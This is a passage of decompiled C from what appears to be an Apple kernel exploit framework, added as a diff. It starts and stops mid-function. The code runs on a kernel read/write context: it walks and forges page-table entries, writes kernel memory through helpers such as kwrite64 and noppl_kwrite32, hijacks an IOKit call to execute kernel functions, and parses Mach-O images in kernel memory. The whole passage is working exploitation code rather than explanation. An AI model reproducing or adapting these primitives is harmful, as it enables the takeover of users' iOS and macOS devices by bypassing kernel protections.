v23 & 0xFFFFFFFFC000LL); + if ( !v15 ) + break; + v19 = v15 + ((v4 >> 22) & 0x3FF8); + if ( v11 != v19 ) + { + v11 = v15 + ((v4 >> 22) & 0x3FF8); + if ( !(unsigned int)kreadbuf_last_1(v3, v19, 8, &v22) ) + return 0; + } + if ( (v22 & 1) == 0 ) + goto LABEL_29; + if ( (v22 & 2) == 0 && (v22 & 0xFFFFFE000000LL) == v2 ) + return v4; + v20 = sub_386AC(v3, v22 & 0xFFFFFFFFC000LL); + if ( !v20 ) + { +LABEL_29: + v16 = v4 + 0x2000000; + v17 = (v4 + 0x2000000) & 0xFFFFFFFFFE000000LL; + v18 = v17 == 0; +LABEL_18: + if ( v18 ) + v4 = v16; + else + v4 = v17; + goto LABEL_21; + } + if ( v13 != v20 ) + { + v13 = v20; + if ( !(unsigned int)kreadbuf_last_1(v3, v20, 0x4000, v25) ) + return 0; + } + if ( (v25[(v4 >> 14) & 0x7FF] & 0xFFFFFFFFC000LL) == v2 ) + { + v4 |= 0xFFFFF00000000000LL; + return v4; + } + v4 += (unsigned int)v3->pageSizeOrSomething; +LABEL_21: + if ( v4 >= v5 ) + goto LABEL_34; + } + v16 = v4 + 0x1000000000LL; + v17 = (v4 + 0x1000000000LL) & 0xFFFFFFF000000000LL; + v18 = v17 == 0; + goto LABEL_18; + } +LABEL_34: + if ( v4 - 1 == v5 ) + return 0; + } + return v4; +} +// 18B4C: variable 'v1' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); +// 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); + +//----- (0000000000018D68) ---------------------------------------------------- +char *__fastcall sub_18D68(__int64 a1, _DWORD *a2, _DWORD *a3, unsigned __int64 a4) +{ + __int64 v4; // x8 + char *result; // x0 + char *v6; // x8 + char *v7; // x11 + __int64 v9; // x11 + + v4 = *(_QWORD *)(a1 + 7512); + result = *(char **)(v4 + 328); + v6 = &result[*(_QWORD *)(v4 + 336)]; + if ( result >= v6 ) + return 0LL; + while ( (*a3 & *(_DWORD *)result) != *a2 ) + { +LABEL_12: + result += 4; + if ( result >= v6 ) + return 0LL; + } + v7 = &result[4 * a4]; + if ( v7 < v6 && a4 >= 2 ) + { + v9 = 1LL; + while ( (a3[v9] & *(_DWORD *)&result[4 * v9]) == a2[v9] ) + { + if ( a4 == ++v9 ) + return result; + } + goto LABEL_12; + } + if ( v7 >= v6 ) + return 0LL; + return result; +} + +//----- (0000000000018DF0) ---------------------------------------------------- +__int64 __fastcall sub_18DF0(__int64 a1, unsigned __int64 a2, _QWORD *a3) +{ + _QWORD *v4; // x9 + unsigned __int64 v5; // x8 + __int64 v6; // x8 + unsigned __int64 v7; // x10 + __int64 v8; // x20 + __int64 v10; // [xsp+8h] [xbp-18h] BYREF + + v4 = *(_QWORD **)(a1 + 7512); + v5 = v4[37]; + if ( v5 > a2 || v4[39] + v5 <= a2 ) + v6 = 0; + else + v6 = a2 - v5 + v4[31]; + v7 = v4[38]; + if ( v7 <= a2 && v4[40] + v7 > a2 ) + v6 = a2 - v7 + v4[32]; + v8 = 163855; + if ( v6 && (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v6, 8, &v10) ) + { + v8 = 0; + *a3 = v10; + } + return v8; +} + +//----- (0000000000018EA4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_18EA4(__int64 a1, unsigned __int64 a2, __int64 *a3, char a4) +{ + unsigned __int64 result; // x0 + __int64 v9; // x23 + __int64 v10; // [xsp+8h] [xbp-48h] BYREF + __int64 v11; // [xsp+10h] [xbp-40h] BYREF + __int64 v12; // [xsp+18h] [xbp-38h] BYREF + + if ( !(unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + *(_QWORD *)(*(_QWORD *)(a1 + 7512) + 592LL) + ((a2 >> 33) & 0x38), + 8, + &v12) + || (v12 & 1) == 0 ) + { + return 0; + } + if ( (a4 & 1) != 0 ) + { + result = sub_18B14(); + if ( !result ) + return result; + } + else + { + result = sub_386AC((struct_krwCtx *)a1, v12 & 0xFFFFFFFFC000LL); + if ( !result ) + return result; + } + v9 = result + ((a2 >> 22) & 0x3FF8); + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v9, 8, &v11) || (v11 & 1) == 0 ) + return 0; + if ( (v11 & 2) == 0 ) + { + result = v11 & 0xFFFFFE000000LL; + if ( !a3 ) + return result; +LABEL_13: + *a3 = v9; + return result; + } + if ( (a4 & 1) != 0 ) + result = sub_18B14(); + else + result = sub_386AC((struct_krwCtx *)a1, v11 & 0xFFFFFFFFC000LL); + if ( result ) + { + v9 = result + ((a2 >> 11) & 0x3FF8); + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v9, 8, &v10) && (v10 & 1) != 0 ) + { + result = v10 & 0xFFFFFFFFC000LL; + if ( !a3 ) + return result; + goto LABEL_13; + } + return 0; + } + return result; +} + +//----- (0000000000018FCC) ---------------------------------------------------- +__int64 __fastcall sub_18FCC(struct_krwCtx *a1, unsigned __int64 a2, _QWORD *a3) +{ + unsigned __int64 v6; // x0 + __int64 result; // x0 + + v6 = sub_18EA4((__int64)a1, a2, 0, 0); + if ( !v6 ) + return 163855; + result = sub_38870(a1, v6, (__int64)(a3 + 3)); + if ( !(_DWORD)result ) + { + *a3 = a3[3]; + a3[1] = a2; + a3[2] = (unsigned int)a1->pageSizeOrSomething; + } + return result; +} + +//----- (0000000000019040) ---------------------------------------------------- +__int64 __fastcall sub_19040(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3) +{ + unsigned __int64 v6; // x0 + __int64 v7; // x21 + unsigned __int64 v8; // x23 + int v9; // w0 + bool v10; // zf + __int64 v11; // x22 + __int64 v12; // x0 + vm_size_t size[4]; // [xsp+4h] [xbp-5Ch] BYREF + __int64 v15; // [xsp+28h] [xbp-38h] + + LODWORD(size[0]) = 0x4000; + v6 = sub_37210((__int64)a1, (unsigned int *)size); + if ( !v6 ) + return 708617; + v7 = v6; + sub_2183C((__int64)a1, v6 & ~a1->qword188, (__int64)size + 4); + v8 = v15 & 0xFFFFFFFFC000LL; + if ( v9 ) + v10 = v8 == 0; + else + v10 = 1; + if ( v10 ) + { + v11 = 163855; +LABEL_11: + sub_36E4C((__int64)a1, v7, LODWORD(size[0])); + return v11; + } + v12 = sub_19128((__int64)a1, a2, v15 & 0xFFFFFFFFC000LL); + v11 = v12; + if ( (_DWORD)v12 ) + goto LABEL_11; + v11 = sub_38870(a1, v8, a3); + if ( (_DWORD)v11 ) + goto LABEL_11; + return v11; +} +// 190A0: variable 'v9' is possibly undefined + +//----- (0000000000019128) ---------------------------------------------------- +__int64 __fastcall sub_19128(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + _QWORD *v3; // x25 + __int64 v4; // x8 + unsigned __int64 v5; // x27 + _BOOL4 v6; // w24 + _BOOL4 v7; // w26 + unsigned __int64 v8; // x9 + __int64 v13; // x19 + int v14; // w26 + unsigned __int64 v15; // x0 + __int64 v17; // x24 + unsigned __int64 v18; // x0 + unsigned __int64 v19; // x23 + int v20; // w0 + _DWORD size[3]; // [xsp+4h] [xbp-8Ch] BYREF + __int64 v22; // [xsp+10h] [xbp-80h] BYREF + _QWORD v23[4]; // [xsp+18h] [xbp-78h] BYREF + __int64 v24; // [xsp+38h] [xbp-58h] + + v3 = *(_QWORD **)(a1 + 7512); + v4 = v3[96]; + size[0] = 0x4000; + v5 = a2 + 0x8000000000LL; + v6 = a2 + 0x8000000000LL >= 0x1FFC001; + v7 = a2 + 0xFFE000000LL < 0x1FFC001; + v8 = v3[98]; + if ( v8 <= a2 && v8 + 0x2000000 > a2 ) + return 0xFFFFFFFFLL; + v13 = 163855; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v4 + ((a2 >> 33) & 0x38), 8, &v22) ) + { + v14 = v6 && v7; + if ( v5 >= 0x1FFC001 ) + { + if ( v14 ) + { + v15 = v3[97]; + if ( !v15 ) + return v13; + } + else + { + v15 = sub_18B14(); + if ( !v15 ) + return v13; + } + } + else + { + v15 = v3[159]; + if ( !v15 ) + return v13; + } + v17 = v15 + ((a2 >> 22) & 0x3FF8); + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v17, 8, &size[1]) ) + return v13; + if ( (size[1] & 1) == 0 ) + { + v18 = sub_3796C(a1, size); + if ( !v18 ) + return 708617; + v19 = v18; + sub_2183C(a1, v18 & ~*(_QWORD *)(a1 + 392), (__int64)v23); + if ( v20 && (v24 & 0xFFFFFFFFC000LL) != 0 ) + { + *(_QWORD *)&size[1] = v24 & 0xFFFFFFFFC000LL | 0x460000000000603LL; + if ( (unsigned int)kwritebuf_last_1(a1, v17, (__int64)&size[1], 8) ) + { + if ( v14 ) + v3[161] = v19; +LABEL_29: + v23[0] = a3 | 0x60000000000443LL; + if ( (unsigned int)kwritebuf_last_1(a1, v19 + ((a2 >> 11) & 0x3FF8), (__int64)v23, 8) ) + return 0; + else + return 163856; + } + v13 = 163856; + } + sub_36E4C(a1, v19, size[0]); + return v13; + } + if ( v5 >= 0x1FFC001 ) + { + if ( v14 ) + { + v19 = v3[161]; + } + else + { + v19 = sub_18B14(); + if ( !v19 ) + return v13; + } + } + else + { + v19 = v3[160]; + } + goto LABEL_29; + } + return v13; +} +// 19284: variable 'v20' is possibly undefined + +//----- (0000000000019354) ---------------------------------------------------- +__int64 __fastcall sub_19354(__int64 result, __int64 a2, int a3) +{ + _QWORD *v3; // x8 + __int64 v4; // x10 + __int64 v5; // x9 + _QWORD *v6; // x8 + + v3 = *(_QWORD **)(result + 7512); + v4 = v3[75]; + v5 = v3[76]; + v6 = (_QWORD *)v3[85]; + *(_QWORD *)v4 = v5 + 512; + *(_DWORD *)(v4 + 512) = 9; + *(_DWORD *)(v4 + 12) = 10; + *(_DWORD *)(v4 + 32) = 1; + *(_DWORD *)(v4 + 40) = 1; + *(_QWORD *)(v4 + 44) = v5 + 768; + *(_DWORD *)(v4 + 76) = 0; + *(_DWORD *)(v4 + 112) = 0; + *(_QWORD *)(v4 + 768) = a2; + *(_DWORD *)(v4 + 784) = a3; + *(_QWORD *)(v4 + 1024) = v5; + *(_QWORD *)(v4 + 1176) = v5; + *(_QWORD *)(v4 + 1184) = v5; + while ( *v6 ) + ; + *v6 = v5 + 1024; + return result; +} + +//----- (00000000000193C0) ---------------------------------------------------- +__int64 __fastcall sub_193C0(__int64 a1, __int64 a2, int a3) +{ + __int64 v6; // x24 + __int64 v7; // x0 + __int64 v8; // x23 + __int64 v9; // x19 + int v10; // w8 + __int64 v11; // x9 + unsigned int v12; // w21 + kern_return_t v13; // w0 + _BYTE v15[8]; // [xsp+18h] [xbp-D8h] BYREF + __int64 v16; // [xsp+20h] [xbp-D0h] BYREF + unsigned int v17; // [xsp+2Ch] [xbp-C4h] BYREF + int v18; // [xsp+30h] [xbp-C0h] BYREF + int v19; // [xsp+34h] [xbp-BCh] BYREF + __int16 v20[2]; // [xsp+38h] [xbp-B8h] BYREF + unsigned int v21; // [xsp+3Ch] [xbp-B4h] BYREF + __int64 v22; // [xsp+40h] [xbp-B0h] BYREF + __int64 v23; // [xsp+48h] [xbp-A8h] BYREF + __int64 inputStruct; // [xsp+50h] [xbp-A0h] BYREF + __int128 v25; // [xsp+58h] [xbp-98h] + __int128 v26; // [xsp+68h] [xbp-88h] + __int128 v27; // [xsp+78h] [xbp-78h] + uint64_t input; // [xsp+88h] [xbp-68h] BYREF + __int128 v29; // [xsp+90h] [xbp-60h] + __int64 v30; // [xsp+A0h] [xbp-50h] + + v23 = a2; + v6 = *(_QWORD *)(a1 + 7512); + v21 = 0x4000; + v7 = sub_37210(a1, &v21); + if ( !v7 ) + return 708617; + v8 = v7; + v9 = 163856; + v20[0] = 256; + if ( (unsigned int)kwritebuf_last_1(a1, v7, (__int64)v20, 2) ) + { + if ( !kread64_outptr( + (struct_krwCtx *)a1, + *(_QWORD *)(v6 + 232) + *(unsigned int *)(v6 + 184), + (unsigned __int64 *)&v22) + || !(unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 180), + 4, + &v19) + || !(unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 196), + 4, + &v18) + || !(unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 192), + 4, + &v17) + || !kread64_outptr( + (struct_krwCtx *)a1, + *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 188), + (unsigned __int64 *)&v16) ) + { + return 163855; + } + if ( !v16 ) + return 0xFFFFFFFFLL; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v16 + *(unsigned int *)(v6 + 172), 8, v15) ) + { + if ( *(_QWORD *)(a1 + 344) <= 0x2711FFFFFFFFFFuLL ) + v10 = 65539; + else + v10 = 65538; + v11 = *(_QWORD *)(v6 + 152); + *(_DWORD *)v11 = v10; + *(_DWORD *)(v11 + 4) = 16; + *(_WORD *)(v11 + 8) = 0; + *(_OWORD *)(*(_QWORD *)(v6 + 160) + 8LL) = xmmword_43200; + input = *(unsigned int *)(v6 + 12); + v29 = xmmword_43750; + v30 = 56; + v26 = 0u; + v27 = 0u; + v25 = 0u; + inputStruct = *(_QWORD *)(v6 + 28); + v23 = a2 - v17; + if ( kwrite64((struct_krwCtx *)a1, *(_QWORD *)(v6 + 232) + *(unsigned int *)(v6 + 184), v8) ) + { + if ( noppl_kwrite32(a1, *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 180), 1) ) + { + if ( noppl_kwrite32(a1, *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 196), a3 - 256) ) + { + v12 = 163856; + if ( (unsigned int)kwritebuf_last_1(a1, v16 + *(unsigned int *)(v6 + 172), (__int64)&v23, 8) ) + { + v13 = IOConnectCallMethod(*(_DWORD *)(v6 + 8), 0x1Au, &input, 4u, &inputStruct, 0x38u, 0, 0, 0, 0); + v12 = v13 ? v13 | 0x80000000 : 0; + if ( !(unsigned int)kwritebuf_last_1(a1, v16 + *(unsigned int *)(v6 + 172), (__int64)v15, 8) ) + v12 = 163856; + } + if ( !noppl_kwrite32(a1, *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 196), v18) ) + v12 = 163856; + } + else + { + v12 = 163856; + } + if ( !noppl_kwrite32(a1, *(_QWORD *)(v6 + 240) + *(unsigned int *)(v6 + 180), v19) ) + v12 = 163856; + } + else + { + v12 = 163856; + } + if ( kwrite64((struct_krwCtx *)a1, *(_QWORD *)(v6 + 232) + *(unsigned int *)(v6 + 184), v22) ) + return v12; + else + return 163856; + } + } + else + { + return 163855; + } + } + return v9; +} +// 43200: using guessed type __int128 xmmword_43200; +// 43750: using guessed type __int128 xmmword_43750; + +//----- (000000000001972C) ---------------------------------------------------- +__int64 __fastcall sub_1972C(__int64 a1, __int64 a2) +{ + if ( (a2 & 7) != 0 || (unsigned __int64)(a2 + 0x1000000000000LL) >= 0xFFFFFFFFEFFFLL ) + return 0LL; + else + return a2; +} + +//----- (000000000001974C) ---------------------------------------------------- +unsigned __int64 __fastcall validate_addr_maybe2(struct_krwCtx *krwCtx, unsigned __int64 vaddr) +{ + __int64 v2; // x8 + uint64_t *i; // x9 + unsigned __int64 v4; // x10 + bool v5; // zf + bool v6; // cc + + if ( vaddr + 0x1000000000000LL >= 0xFFFFFFFFEFFFLL ) + { + v2 = LODWORD(krwCtx->someMutex[711]); + if ( (_DWORD)v2 ) + { + for ( i = &krwCtx->someMutex[758]; ; i += 3 ) + { + v4 = *(i - 1); + v5 = !v4 || *i == 0; + v6 = v5 || v4 > vaddr; + if ( !v6 && *i + v4 > vaddr ) + break; + if ( !--v2 ) + return 0LL; + } + } + else + { + return 0LL; + } + } + return vaddr; +} + +//----- (00000000000197A8) ---------------------------------------------------- +unsigned __int64 __fastcall sub_197A8(__int64 **a1) +{ + __int64 *v1; // x8 + __int64 *v2; // x9 + __int64 v3; // x12 + __int64 v4; // x10 + __int64 v5; // x10 + __int64 v6; // x11 + _QWORD *i; // x12 + unsigned __int64 v8; // x8 + unsigned __int64 v9; // x10 + + v2 = *a1; + v1 = a1[1]; + v3 = **a1; + v4 = v3 + 56LL * *((unsigned int *)*a1 + 50); + if ( (unsigned __int64)v1 - *(_QWORD *)(v4 + 32) >= *(_QWORD *)(v4 + 40) ) + { + v5 = *((unsigned int *)v2 + 2); + if ( !(_DWORD)v5 ) + return 0LL; + v6 = 0LL; + for ( i = (_QWORD *)(v3 + 40); (unsigned __int64)v1 - *(i - 1) >= *i; i += 7 ) + { + if ( v5 == ++v6 ) + return 0LL; + } + *((_DWORD *)v2 + 50) = v6; + } + if ( *((_BYTE *)v2 + 257) ) + v2 = (__int64 *)v2[21]; + v8 = (unsigned __int64)v1 - v2[30]; + v9 = v2[22]; + if ( v9 > v8 || (unsigned __int64)a1[2] > v9 + v2[23] - v8 ) + return 0LL; + return v8; +} + +//----- (000000000001984C) ---------------------------------------------------- +__int64 sub_1984C() +{ + return 8LL; +} + +//----- (0000000000019854) ---------------------------------------------------- +__int64 __fastcall sub_19854(__int64 a1) +{ + __int64 result; // x0 + _BYTE *v3; // x9 + vm_size_t v4; // x2 + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + if ( *(_BYTE *)(a1 + 257) ) + return 0; + v3 = *(_BYTE **)(a1 + 264); + if ( !v3 ) + return 4; + if ( !*(_QWORD *)(a1 + 176) ) + return 4; + v4 = *(_QWORD *)(a1 + 184); + if ( !v4 ) + return 4; + if ( (*v3 & 2) == 0 ) + return 0; + address = *(_QWORD *)(a1 + 176); + result = vm_allocate(mach_task_self_, &address, v4, 0x4000); + if ( !(_DWORD)result ) + { + bzero( + *(void **)(a1 + 264), + ((*(int *)(a1 + 56) + *(_QWORD *)(a1 + 232) - 1LL) & (unsigned __int64)-*(_DWORD *)(a1 + 56)) / *(int *)(a1 + 56)); + return 0; + } + return result; +} + +//----- (00000000000198FC) ---------------------------------------------------- +__int64 __fastcall sub_198FC(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4, char a5) +{ + __int64 v9; // x23 + unsigned __int64 v10; // x24 + __int64 result; // x0 + __int64 v12; // x10 + __int64 v13; // x9 + unsigned __int64 v14; // x10 + unsigned __int64 v15; // x19 + unsigned __int64 v16; // x26 + unsigned __int64 v17; // x25 + + v9 = a1; + if ( *(_BYTE *)(a1 + 257) ) + v9 = *(_QWORD *)(a1 + 168); + v10 = *(_QWORD *)(v9 + 176); + if ( v10 > a2 || a2 + a3 > *(_QWORD *)(v9 + 184) + v10 ) + return 3; + result = 0; + v12 = *(int *)(v9 + 56); + v13 = v12 + a2 + a3; + v14 = -(int)v12; + v15 = v14 & a2; + v16 = --v13 & v14; + if ( (v13 & v14) > (v14 & a2) ) + { + v17 = *(int *)(a1 + 56); + while ( (*(_BYTE *)(*(_QWORD *)(v9 + 264) + (v15 - v10) / v17) & 1) != 0 && (a5 & 1) == 0 ) + { + v15 += v17; + if ( v16 <= v15 ) + return 0; + } + if ( sub_25DE8(*(_QWORD *)(v9 + 280)) + && sub_25734(*(_QWORD *)(v9 + 280)) + && (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 280)) > *(_DWORD *)(v9 + 56) + && v16 - v15 < (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 280)) + && a4 > a3 ) + { + v16 = (*(int *)(v9 + 56) + a2 + a4 - 1) & -*(_DWORD *)(v9 + 56); + if ( v16 > v15 + (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 280)) ) + v16 = v15 + (unsigned int)sub_25DB0(*(_QWORD *)(v9 + 280)); + } + if ( (unsigned int)kreadbuf_last_1( + *(struct_krwCtx **)(v9 + 280), + *(_QWORD *)(v9 + 224) - v10 + v15, + v16 - v15, + (void *)v15) ) + { + for ( ; v15 < v16; v15 += v17 ) + *(_BYTE *)(*(_QWORD *)(v9 + 264) + (v15 - v10) / v17) |= 1u; + result = 0; + **(_BYTE **)(v9 + 264) |= 2u; + } + else + { + return 5; + } + } + return result; +} + +//----- (0000000000019AC4) ---------------------------------------------------- +__int64 __fastcall sub_19AC4(__int64 a1, unsigned __int64 a2, unsigned __int64 a3, unsigned __int64 a4) +{ + return sub_198FC(a1, a2, a3, a4, 0); +} + +//----- (0000000000019ACC) ---------------------------------------------------- +unsigned int *__fastcall sub_19ACC(__int64 *a1, __int64 *a2) +{ + unsigned int *result; // x0 + unsigned int *v4; // x20 + __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF + + v5[0] = a1; + v5[1] = a2; + v5[2] = (_QWORD *)&dword_4; + result = (unsigned int *)sub_197A8(v5); + if ( result ) + { + v4 = result; + sub_198FC((__int64)a1, (unsigned __int64)result, 4u, 0, 0); + return (unsigned int *)*v4; + } + return result; +} +// 4: using guessed type int dword_4; + +//----- (0000000000019B30) ---------------------------------------------------- +unsigned __int64 __fastcall sub_19B30(__int64 *a1, __int64 *a2) +{ + unsigned __int64 result; // x0 + unsigned __int64 v4; // x20 + __int64 *v5[3]; // [xsp+8h] [xbp-28h] BYREF + + v5[0] = a1; + v5[1] = a2; + v5[2] = (_QWORD *)&dword_8; + result = sub_197A8(v5); + if ( result ) + { + v4 = result; + sub_198FC((__int64)a1, result, 8u, 0, 0); + return *(_QWORD *)v4; + } + return result; +} +// 8: using guessed type int dword_8; + +//----- (0000000000019B98) ---------------------------------------------------- +__n128 __usercall sub_19B98@(char *__s2@, _QWORD *a2@, __int64 a3@) +{ + __int64 v4; // x8 + unsigned __int64 v5; // x22 + __int64 v6; // x8 + unsigned __int64 v7; // x23 + __n128 result; // q0 + + v4 = **(_QWORD **)(a3 + 208); + v5 = v4 + 32; + v6 = *(unsigned int *)(v4 + 20); + v7 = v5 + v6; + if ( v5 >= v5 + v6 ) + { +LABEL_5: + *a2 = 0; + a2[1] = 0; + a2[2] = 0; + } + else + { + while ( *(_DWORD *)v5 != 25 || strncmp((const char *)(v5 + 8), __s2, 0x10u) ) + { + v5 += *(unsigned int *)(v5 + 4); + if ( v5 >= v7 ) + goto LABEL_5; + } + *a2 = a3; + result = *(__n128 *)(v5 + 24); + *(__n128 *)(a2 + 1) = result; + } + return result; +} + +//----- (0000000000019C34) ---------------------------------------------------- +__n128 __usercall macho_getsectbyname@(char *seg@, __int64 a2@, const char *sect@, _QWORD *a4@) +{ + __int64 v5; // x8 + unsigned __int64 v6; // x24 + __int64 v7; // x8 + unsigned __int64 v8; // x25 + __n128 result; // q0 + __int64 v13; // x26 + __n128 *v14; // x23 + + v5 = **(_QWORD **)(a2 + 208); + v6 = v5 + 32; + v7 = *(unsigned int *)(v5 + 20); + v8 = v6 + v7; + if ( v6 >= v6 + v7 ) + { +LABEL_11: + *a4 = 0; + a4[1] = 0; + a4[2] = 0; + } + else + { + while ( 1 ) + { + if ( *(_DWORD *)v6 == 25 && !strncmp((const char *)(v6 + 8), seg, 0x10u) ) + { + v13 = *(unsigned int *)(v6 + 64); + if ( (_DWORD)v13 ) + break; + } +LABEL_4: + v6 += *(unsigned int *)(v6 + 4); + if ( v6 >= v8 ) + goto LABEL_11; + } + v14 = (__n128 *)(v6 + 72); + while ( strncmp((const char *)v14, sect, 0x10u) ) + { + v14 += 5; + if ( !--v13 ) + goto LABEL_4; + } + *a4 = a2; + result = v14[2]; + *(__n128 *)(a4 + 1) = result; + } + return result; +} + +//----- (0000000000019D10) ---------------------------------------------------- +double __usercall sub_19D10@(__int64 a1@, _QWORD *a2@) +{ + double result; // d0 + + *(_QWORD *)&result = macho_getsectbyname((char *)*(_QWORD *)(a1 + 272), a1, "__text", a2).n128_u64[0]; + return result; +} + +//----- (0000000000019D20) ---------------------------------------------------- +__int64 __fastcall sub_19D20(__int64 a1, char *__s2, unsigned __int64 a3) +{ + __int64 v3; // x8 + unsigned __int64 v4; // x21 + __int64 v5; // x8 + unsigned __int64 i; // x22 + __int64 v9; // x8 + unsigned int v10; // w24 + const char *v12; // x0 + unsigned __int64 v13; // x8 + size_t v14; // x2 + + v3 = **(_QWORD **)(a1 + 208); + v4 = v3 + 32; + v5 = *(unsigned int *)(v3 + 20); + for ( i = v4 + v5; v4 < i; v4 += v10 ) + { + if ( *(_DWORD *)v4 == -2147483595 ) + { + v9 = *(unsigned int *)(v4 + 24); + v10 = *(_DWORD *)(v4 + 4); + if ( (unsigned int)v9 >= 0x20 && v10 > (unsigned int)v9 ) + { + v12 = (const char *)(v4 + v9); + v13 = v10 - (unsigned int)v9; + v14 = v13 <= a3 ? v13 : a3; + if ( !strncmp(v12, __s2, v14) ) + return *(_QWORD *)(v4 + 8); + } + } + else + { + v10 = *(_DWORD *)(v4 + 4); + } + } + return 0; +} + +//----- (0000000000019DD4) ---------------------------------------------------- +double __fastcall sub_19DD4(struct_a1 *a1, __int64 a2) +{ + double result; // d0 + + result = 0.0; + a1->oword100 = 0u; + a1->oword110 = 0u; + a1->owordE0 = 0u; + a1->owordF0 = 0u; + a1->owordC0 = 0u; + a1->owordD0 = 0u; + a1->owordA0 = 0u; + a1->owordB0 = 0u; + a1->oword80 = 0u; + a1->oword90 = 0u; + a1->oword60 = 0u; + a1->xnuMajorVersion = 0u; + a1->oword40 = 0u; + a1->oword50 = 0u; + a1->oword20 = 0u; + a1->oword30 = 0u; + a1->oword0 = 0u; + a1->oword10 = 0u; + *((_QWORD *)&a1->oword110 + 1) = a2; + a1->qword120 = 0LL; + return result; +} + +//----- (0000000000019E04) ---------------------------------------------------- +__int64 __fastcall sub_19E04(__int64 a1) +{ + vm_address_t v1; // x1 + _QWORD *v2; // x19 + vm_size_t v3; // x2 + + v2 = (_QWORD *)(a1 + 176); + v1 = *(_QWORD *)(a1 + 176); + if ( !v1 ) + return 0; + v3 = *(_QWORD *)(a1 + 184); + if ( !v3 || vm_deallocate(mach_task_self_, v1, v3) ) + return 0; + *v2 = 0; + v2[1] = 0; + return 1; +} + +//----- (0000000000019E58) ---------------------------------------------------- +bool __fastcall sub_19E58(__int64 a1) +{ + kern_return_t v2; // w8 + _BOOL8 result; // x0 + vm_address_t v4; // x1 + vm_size_t v5; // x2 + vm_address_t v6; // x8 + __int64 v7; // x9 + __int64 v8; // x10 + void *v9; // x0 + vm_address_t address; // [xsp+18h] [xbp-18h] BYREF + + address = 0; + v2 = vm_map(mach_task_self_, &address, *(_QWORD *)(a1 + 232), *(int *)(a1 + 56) - 1LL, 1, 0, 0, 0, 3, 3, 1u); + result = 0; + if ( !v2 ) + { + v4 = *(_QWORD *)(a1 + 176); + if ( v4 ) + { + v5 = *(_QWORD *)(a1 + 184); + if ( v5 ) + vm_deallocate(mach_task_self_, v4, v5); + } + v6 = address; + v8 = *(_QWORD *)(a1 + 224); + v7 = *(_QWORD *)(a1 + 232); + *(_QWORD *)(a1 + 176) = address; + *(_QWORD *)(a1 + 184) = v7; + *(_QWORD *)(a1 + 240) = v8 - v6; + v9 = calloc(((*(int *)(a1 + 56) + v7 - 1) & (unsigned __int64)-*(_DWORD *)(a1 + 56)) / *(int *)(a1 + 56), 1u); + *(_QWORD *)(a1 + 264) = v9; + return v9 != 0; + } + return result; +} + +//----- (0000000000019F2C) ---------------------------------------------------- +_DWORD *__fastcall sub_19F2C(__int64 a1, __int64 a2) +{ + _DWORD *result; // x0 + unsigned __int64 v5; // x21 + _DWORD *v6; // x22 + char v7; // w8 + __int64 v8; // x8 + char *v9; // x21 + char *v10; // x22 + __int64 v11; // x23 + char *v12; // x24 + __int64 v13; // x8 + _QWORD *v14; // x9 + _DWORD v15[8]; // [xsp+0h] [xbp-50h] BYREF + + result = calloc(0x48u, 1u); + *(_QWORD *)(a1 + 208) = result; + if ( result ) + { + result = (_DWORD *)kreadbuf_last_1(*(struct_krwCtx **)(a1 + 280), a2, 32, v15); + if ( (_DWORD)result ) + { + v5 = v15[5] + 32LL; + result = calloc(v5, 1u); + if ( result ) + { + v6 = result; + result = (_DWORD *)kreadbuf_last_1(*(struct_krwCtx **)(a1 + 280), a2, v5, result); + if ( (_DWORD)result ) + { + **(_QWORD **)(a1 + 208) = v6; + if ( *v6 == -17958194 ) + { + v7 = 4; + } + else + { + if ( *v6 != -17958193 ) + return 0; + v7 = 8; + } + *(_BYTE *)(a1 + 52) = v7; + v8 = (unsigned int)v6[5]; + if ( v5 < (unsigned int)(v8 + 32) ) + return 0; + v9 = (char *)(v6 + 8); + v10 = (char *)v6 + v8 + 32; + if ( v9 >= v10 ) + { + return &def_3E8F0 + 1; + } + else + { + v11 = 0; + v12 = v9; + do + { + if ( *(_DWORD *)v12 == 25 && !strcmp(v12 + 8, "__TEXT") ) + v11 = a2 - *((_QWORD *)v12 + 3); + v12 += *((unsigned int *)v12 + 1); + } + while ( v12 < v10 ); + result = &def_3E8F0 + 1; + if ( v11 && v9 < v10 ) + { + result = &def_3E8F0 + 1; + do + { + if ( *(_DWORD *)v9 == 25 ) + { + v13 = *((unsigned int *)v9 + 16); + if ( (_DWORD)v13 ) + { + v14 = v9 + 104; + do + { + *v14 += v11; + v14 += 10; + --v13; + } + while ( v13 ); + } + *((_QWORD *)v9 + 3) += v11; + } + v9 += *((unsigned int *)v9 + 1); + } + while ( v9 < v10 ); + } + } + } + } + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (000000000001A0D4) ---------------------------------------------------- +bool __fastcall sub_1A0D4(__int64 a1, int a2, __int64 a3, unsigned int a4) +{ + return (unsigned int)sub_1A0F4(a1, a2, a3, a4) != 0; +} + +//----- (000000000001A0F4) ---------------------------------------------------- +void *__fastcall sub_1A0F4(__int64 a1, int a2, __int64 a3, 